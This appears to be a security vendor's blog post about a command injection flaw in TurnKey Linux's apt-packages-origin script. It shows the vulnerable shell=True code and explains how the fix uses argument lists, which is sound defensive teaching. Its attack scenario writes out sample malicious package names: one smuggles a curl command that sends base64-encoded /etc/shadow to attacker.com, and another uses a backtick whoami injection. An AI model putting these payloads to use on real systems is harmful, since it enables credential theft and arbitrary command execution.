Back to Blog
critical SEVERITY8 min read

How Command Injection happens in Python shell scripts and how to fix it

A critical command injection vulnerability was discovered in `overlays/bootstrap_apt/usr/local/bin/apt-packages-origin`, a Python script that queries installed package origins on Debian/Ubuntu systems. The script used `subprocess.Popen` with `shell=True` and embedded `$(dpkg -l | grep ^ii | awk '{print $2}')` directly in a command string, allowing an attacker who could install a maliciously named package to execute arbitrary shell commands. The fix replaces the single shell-interpolated command

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in a Python 2/3 script (`apt-packages-origin`) that built a shell command string by embedding raw `dpkg` output inside `subprocess.Popen(..., shell=True)`. An attacker who could install a Debian package with a name containing shell metacharacters (e.g., backticks or semicolons) could achieve arbitrary command execution. The fix eliminates `shell=True` entirely, splits the pipeline into two safe `subprocess.Popen` calls using argument lists, and parses `dpkg -l` output in Python rather than delegating to `awk` and the shell.

Vulnerability at a Glance

cweCWE-78
fixReplace shell=True string interpolation with two argument-list subprocess calls; parse dpkg output in Python
riskArbitrary command execution as the user running the script
languagePython
root causesubprocess.Popen called with shell=True and an unquoted command string embedding raw dpkg package names
vulnerabilityOS Command Injection

The Vulnerability in Context

The overlays/bootstrap_apt/usr/local/bin/apt-packages-origin script is a utility in the TurnKey Linux bootstrap layer responsible for listing the origin of every installed package — essentially answering "where did each .deb come from?" It does this by combining dpkg -l output with apt-cache policy. Straightforward enough. But the way those two tools were wired together introduced a critical command injection flaw that could let an attacker with package installation privileges run arbitrary commands on the host.

This post walks through exactly how the vulnerability worked, what the fix changed, and how to apply the same thinking to any Python script that shells out to external tools.


The Vulnerability Explained

The Dangerous Code (Before the Fix)

Here is the original main() function, line 55 of the file:

# VULNERABLE — do not use this pattern
proc = subprocess.Popen(
    args="apt-cache policy $(dpkg -l | grep ^ii | awk '{print $2}')",
    shell=True,
    bufsize=1,
    stdout=subprocess.PIPE
)

Two things make this dangerous:

  1. shell=True — Python hands the entire args string to /bin/sh -c. The shell interprets every metacharacter: backticks, $(), semicolons, pipes, redirects, and more.
  2. $(dpkg -l | …) — The shell expands this subshell inline. The output of dpkg -l, filtered through grep and awk, is substituted directly into the apt-cache policy command line without any quoting or escaping.

Why Package Names Are Attacker-Controlled

dpkg -l lists every installed package. On a Debian/Ubuntu system, a package name is typically something like libssl3 or python3-requests. But Debian package naming rules, while restrictive for packages in official repositories, are not enforced at the dpkg -i level for locally installed .deb files. An attacker who can run dpkg -i attacker.deb (or apt install a package from a compromised repository) controls the package name that ends up in dpkg -l output.

The Attack Scenario

Consider a .deb whose Package: field in DEBIAN/control is set to:

test;curl http://attacker.com/exfil?data=$(cat /etc/shadow | base64);pkg

When dpkg -l lists this package, awk '{print $2}' extracts that entire string. The shell then expands the full apt-cache policy command to something like:

apt-cache policy test;curl http://attacker.com/exfil?data=$(cat /etc/shadow | base64);pkg

The semicolons terminate the apt-cache policy command and introduce two new shell commands. The /etc/shadow contents are base64-encoded and exfiltrated to the attacker's server. The script runs as whatever user invokes it — on a bootstrap system, that is often root.

Backtick substitution is equally effective:

test`whoami > /tmp/pwned`pkg

Real-World Impact for This Component

apt-packages-origin is part of TurnKey Linux's bootstrap layer — it runs during system provisioning and auditing workflows. A compromised bootstrap step can poison the entire system image before it is ever deployed. The blast radius is not just one machine; it is every instance built from that image.


The Fix

Before and After

The fix replaces the single shell-interpolated command with two clean subprocess calls and moves the awk/grep filtering into Python itself.

Before (vulnerable):

proc = subprocess.Popen(
    args="apt-cache policy $(dpkg -l | grep ^ii | awk '{print $2}')",
    shell=True,
    bufsize=1,
    stdout=subprocess.PIPE
)

After (safe):

# Step 1: Run dpkg -l as an argument list — no shell involved
dpkg_proc = subprocess.Popen(['dpkg', '-l'], stdout=subprocess.PIPE, text=True)

# Step 2: Parse installed package names in Python
pkgs = [line.split()[1] for line in dpkg_proc.stdout if line.startswith('ii')]
dpkg_proc.wait()

if dpkg_proc.returncode != 0:
    raise SystemExit('dpkg -l failed with returncode %d' % dpkg_proc.returncode)

# Step 3: Pass package names as list arguments — still no shell
proc = subprocess.Popen(
    ['apt-cache', 'policy'] + pkgs,
    bufsize=1,
    stdout=subprocess.PIPE,
    text=True
)

Why This Eliminates the Vulnerability

When subprocess.Popen receives a list instead of a string, Python calls execvp() directly. The OS kernel loads apt-cache and passes each list element as a discrete argv entry. The shell is never involved. A package name like test;id;pkg is passed to apt-cache as a single literal argument — apt-cache simply fails to find a package by that name, which is the correct behavior.

The key changes and their security significance:

Change Security Effect
shell=True → argument list Shell metacharacter interpretation eliminated entirely
$(dpkg -l \| grep \| awk) → Python list comprehension No subprocess output is ever interpolated into a shell command
line.startswith('ii') filter in Python Same semantic as grep ^ii but without spawning a shell
line.split()[1] in Python Same semantic as awk '{print $2}' but without spawning a shell
dpkg_proc.returncode check Explicit error handling that was absent before
#!/usr/bin/python#!/usr/bin/python3 Modernizes the shebang; print fmt % tuple(row)print(fmt % tuple(row)) confirms Python 3 compatibility

The text=True addition also removes the need to decode bytes manually, a common source of secondary bugs in Python 3 subprocess code.


Prevention & Best Practices

1. Never Use shell=True with External Data

The rule is simple: if any part of a command string comes from outside your program — files, environment variables, network responses, process output — do not use shell=True. Pass an argument list instead.

# Dangerous
subprocess.Popen(f"tool {user_input}", shell=True)

# Safe
subprocess.Popen(['tool', user_input])

2. Prefer Python Over Shell Pipelines

Every grep | awk | sed pipeline can be replaced with a few lines of Python. Doing so keeps data inside Python objects where it cannot be misinterpreted by a shell. The fix demonstrates this perfectly: two lines of Python replace the entire grep ^ii | awk '{print $2}' pipeline.

3. Check Return Codes Explicitly

The original code had no error handling for the dpkg -l subprocess. The fix adds a returncode check and raises SystemExit with a meaningful message. Silent failures in security-sensitive scripts can mask attacks or misconfigurations.

4. Use shlex.quote() as a Last Resort

If you genuinely cannot avoid shell=True, use shlex.quote() to escape each untrusted token before interpolation:

import shlex
safe_name = shlex.quote(package_name)
subprocess.Popen(f"apt-cache policy {safe_name}", shell=True)

This is a fallback, not a preferred approach. Argument lists are always safer.

5. Static Analysis Tools

  • Bandit (B602, B603): Flags subprocess calls with shell=True and untrusted input.
  • Semgrep rule python.lang.security.audit.subprocess-shell-true: Detects this exact pattern.
  • Pylint extension pylint-bandit: Integrates Bandit checks into the standard lint pipeline.
  • OWASP A03:2021 – Injection: This vulnerability falls squarely under the OWASP Top 10 Injection category.

6. Apply Least Privilege

Scripts that query package metadata rarely need to run as root. Running apt-packages-origin as a non-privileged user limits the impact of any successful exploitation.


Key Takeaways

  • subprocess.Popen(shell=True) with embedded $(...) subshells is inherently unsafe — any data that flows through the shell can carry metacharacters, and dpkg package names are attacker-influenced on systems that allow local package installation.
  • The $(dpkg -l | grep ^ii | awk '{print $2}') pattern was the specific sink — replacing it with a Python list comprehension ([line.split()[1] for line in dpkg_proc.stdout if line.startswith('ii')]) moved filtering out of the shell entirely.
  • Argument lists in subprocess are not just a style preference — they change the underlying syscall from execve("/bin/sh", ["-c", cmd_string]) to execve("/usr/bin/apt-cache", argv_list), removing the shell interpreter from the trust boundary.
  • Bootstrap and provisioning scripts deserve extra scrutiny — a command injection in apt-packages-origin executes during system imaging, meaning a single exploit can affect every instance built from that image.
  • Error handling is part of security — the missing returncode check in the original code could have masked a failing dpkg -l invocation, leading to silent misbehavior in security-sensitive workflows.

How Orbis AppSec Detected This

  • Source: The output of dpkg -l — specifically the second column containing package names — which is influenced by any party who can install a .deb on the system.
  • Sink: subprocess.Popen(args="apt-cache policy $(dpkg -l | grep ^ii | awk '{print $2}')", shell=True, ...) at line 55 of overlays/bootstrap_apt/usr/local/bin/apt-packages-origin.
  • Missing control: No sanitization, quoting, or escaping of package names before shell interpolation; no use of argument lists to bypass the shell interpreter.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: Replaced the single shell=True command string with two subprocess.Popen calls using argument lists and moved grep/awk filtering into a Python list comprehension, eliminating shell interpretation of package names entirely.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The apt-packages-origin vulnerability is a textbook example of how a convenient shell one-liner becomes a critical security flaw the moment untrusted data flows through it. The pattern subprocess.Popen("tool $(other-tool | filter)", shell=True) looks compact and readable, but it hands control to the shell interpreter — and the shell will faithfully execute whatever metacharacters it finds, regardless of where they came from.

The fix required fewer lines than the original: two subprocess calls with argument lists and a three-line list comprehension replace the entire shell pipeline. The result is not just safer — it is also more explicit, easier to test, and properly handles error conditions that the original silently ignored.

When you write scripts that shell out to system tools, ask yourself: does this command string contain any data I did not write myself? If the answer is yes, use an argument list. The shell is a powerful tool, but it should not be a pass-through for data you do not fully control.


References

Frequently Asked Questions

What is OS command injection?

OS command injection (CWE-78) occurs when user-controlled or externally influenced data is passed to a shell interpreter without sanitization, allowing an attacker to append or substitute arbitrary commands.

How do you prevent command injection in Python?

Pass commands as a list of arguments to subprocess functions and never set shell=True when any part of the command comes from external input. This bypasses the shell entirely so metacharacters have no special meaning.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is input sanitization enough to prevent command injection?

Sanitization alone is fragile and error-prone. The robust solution is to avoid shell=True entirely and use argument lists, which removes the shell interpreter from the equation rather than trying to escape around it.

Can static analysis detect command injection?

Yes. Tools like Semgrep, Bandit, and multi-agent AI scanners can flag subprocess.Popen(shell=True) patterns where the command string incorporates data from external sources such as process output or file contents.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #371

Related Articles

high

How Shell Injection via os.system() happens in Python and how to fix it

A shell injection vulnerability in TensorFlow's DELF dataset download script allowed attackers who controlled the `data_dir` parameter to execute arbitrary shell commands by injecting metacharacters into `os.system()` calls. The fix replaces all four `os.system()` invocations with `subprocess.run()` using argument lists, eliminating shell interpretation entirely. This change closes a high-severity code execution path in production ML infrastructure.

critical

How Command Injection happens in Node.js shell-quote and how to fix it

CVE-2026-9277 is a critical command injection vulnerability in the `shell-quote` npm package (versions prior to 1.8.4) caused by unescaped line terminators that allow attackers to inject and execute arbitrary shell commands. The fix pins `shell-quote` to `>=1.8.4` via a `pnpm.overrides` entry, ensuring every transitive consumer in the dependency tree receives the patched version. Any Node.js project that processes user-influenced input through `shell-quote` and has not yet upgraded is at risk of

critical

How Remote Code Execution via Security Fix Bypass happens in Node.js and how to fix it

CVE-2026-28292 is a critical Remote Code Execution vulnerability in the `simple-git` Node.js library that allowed attackers to bypass previously applied security fixes. Applications using `simple-git` versions below 3.32.3 remained exposed even after earlier patches, and upgrading to 3.32.3 — which introduced hardened argument parsing via new `@simple-git/argv-parser` and `@simple-git/args-pathspec` sub-packages — closes the bypass. This fix is especially urgent because the vulnerability affects

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote 1.8.3, where unescaped line terminators in parsed shell arguments could allow attackers to inject and execute arbitrary commands. The fix upgrades shell-quote to version 1.8.4 and pins the resolution in both `package.json` and `yarn.lock` to ensure the patched version is used across the entire dependency tree. Because this package is used in a production web application that processes user-influenced input,

critical

How Command Injection happens in Python PopClip Extensions and how to fix it

A critical command injection vulnerability was discovered in `contrib/Klipz.popclipext/Klipz.py`, where user-controlled clipboard content was concatenated directly into shell commands executed via `osascript`. The fix replaces unsafe string concatenation with `subprocess` and proper argument lists, and replaces the unsafe `pickle` serialization with `json` to eliminate a secondary deserialization risk. Together, these changes close two distinct attack surfaces in a single file.

critical

How Command Injection happens in Rust-generated Python scripts and how to fix it

A critical command injection vulnerability (CWE-78) was discovered in the Linux automation module of the `goose-mcp` crate, where Rust code generated Python scripts that passed user-controlled commands directly to `subprocess.run()` with `shell=True`. An attacker who could influence the `commands` parameter in `execute_system_script()` could inject arbitrary shell commands using metacharacters like `;`, `|`, or backticks. The fix replaces `shell=True` with `shlex.split()` and `shell=False`, and